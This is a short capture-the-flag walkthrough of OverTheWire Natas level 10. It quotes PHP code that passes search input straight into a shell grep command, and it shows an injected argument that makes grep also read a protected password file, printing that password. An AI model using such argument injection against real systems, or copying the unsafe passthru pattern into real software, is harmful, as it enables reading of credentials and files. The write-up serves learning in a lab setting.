Over the wire Natas Level 10

Over the wire Natas Level 10

Objective:

Get password for Level 11

Solution:

So here we see an input box and a search button, but this time with this text

For security reasons, we now filter on certain characters

If we put in anything it searches a dictionary.txt file for the input and displays the output, however if we look in the source code it looks like they are not going to let use a lot of special characters this time

if($key != "") {

    if(preg_match('/[;|&]/',$key)) {

        print "Input contains an illegal character!";

    } else {

        passthru("grep -i $key dictionary.txt");

    }

}

?>

</pre>

Luckily for use we don’t’ need to use any of those special characters to get at the webpass directory using grep

So grep man page(http://linuxcommand.org/lc3_man_pages/grep1.html)

NAME
       grep, egrep, fgrep, rgrep - print lines matching a pattern

SYNOPSIS
       grep [OPTIONS] PATTERN [FILE...]
       grep [OPTIONS] [-e PATTERN | -f FILE] [FILE...]

DESCRIPTION
       grep  searches the named input FILEs (or standard input if no files are
       named, or if a single hyphen-minus (-) is given as file name) for lines
       containing  a  match to the given PATTERN.  By default, grep prints the
       matching lines

OOOOhhhh check that out, you can supply two different files to grep through on the same command

I think we can use this to our advantage.

Let’s try throwing the webpass directory into the input to see if we can grep against that file too

a /etc/natas_webpass/natas11

so the syntax would be something like

                grep -i a /etc/natas_webpass/natas10 dictionary.txt

here’s the output

Output:

dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
dictionary.txt:American
dictionary.txt:Americanism
dictionary.txt:Americanism's
dictionary.txt:Americanisms

no errors so its looking at  the right files but I guess the passcode for 11 doesn't have an a in it lets try other letters

b - nothing
c- jackpot

c /etc/natas_webpass/natas11

Output:

/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:American
dictionary.txt:Americanism
dictionary.txt:Americanism's
dictionary.txt:Americanisms
dictionary.txt:Americans
dictionary.txt:C

There is our pass  U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK